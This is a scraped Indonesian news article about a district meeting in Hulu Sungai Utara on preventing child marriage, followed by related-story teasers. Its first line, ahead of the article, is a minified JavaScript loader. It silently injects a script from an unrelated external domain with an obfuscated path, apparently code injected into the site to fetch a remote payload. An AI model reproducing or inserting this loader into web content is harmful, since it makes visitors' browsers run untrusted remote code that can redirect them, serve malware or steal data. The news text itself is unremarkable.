(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Wakil Bupati Hulu Sungai Utara (HSU) H Husairi Abdi edukasi kepada masyarakat dapat membantu mencegah pernikahan dini anak.
Demikian diungkapkannya saat menghadiri rapat koordinasi pencegahan perkawinan anak usia dini di aula Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA), Selasa (21/9/2021).
“Sebelum melarang, kita berikan edukasi tentang pentingnya pencegahan pernikahan anak usia dini. Adapun bagi yang sudah melakukan pernikahan langkah-langkah apa saja yang harus dilakukan dalam penanganannya,” kata Wabup Husairi
Ia meminta kepada seluruh Dinas Satuan Kerja Perangkat Daerah (SKPD) terkait memberikan kontribusi sesuai dengan tupoksi masing-masing dalam pencegahan perkawinan anak usia dini.
Baca juga : Tiga Anak Didaftarkan Nurul Khitan Massal di Balai Kota Banjarmasin
“Contoh, seperti Dinas Pemberdayaan Masyarakat dan Desa bisa memberitahu kepada seluruh kepala desa di HSU untuk melakukan sosialisasi pentingnya mencegah perkawinan anak usia dini serta dampak kesehatan apabila melakukan pernikahan usia dini,” katanya.
Sementara, Kepala DPPPA HSU Hj Gusti Iskandariah menyebut, berdasarkan data yang dihimpun, perkawinan usia anak di Hulu Sungai Utara dari 2019 sampai sekarang sudah mulai mengalami penurunan signifikan.
Hal itu berdasarkan di tahun 2019 DPPPA melakukan perjanjian penandatanganan kesepakatan bersama (MoU) dengan Kementrian Agama HSU, dan Kantor Urusan Agama (KUA) tentang upaya pencegehan perkawinan usia anak.
Walaupun demikian, di awal tahun 2019 sempat mengalami lonjakan kenaikan pernikahan anak usia dini, setelah ada penandatanganan MoU di pertengahan tahun mulai terjadi grafik penurunan.
Baca juga : Belum Diresmikan, Areal Jembatan Sei Alalak Terendam Saat Hujan Deras!
“Dari data kami, untuk tahun 2020 ada 26 pernikahan usia dini, sementara di tahun 2019 ada 227 pernikahan dini,” kata Gusti Iskandariah.
Ia menegaskan, peran pencegahan pernikahan anak usia dini bukan hanya terfokus di DPPPA saja namun menjadi peran pemerintah daerah. (kanalkalimantan.com/dew)
Reporter : dew
Editor : kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
This website uses cookies.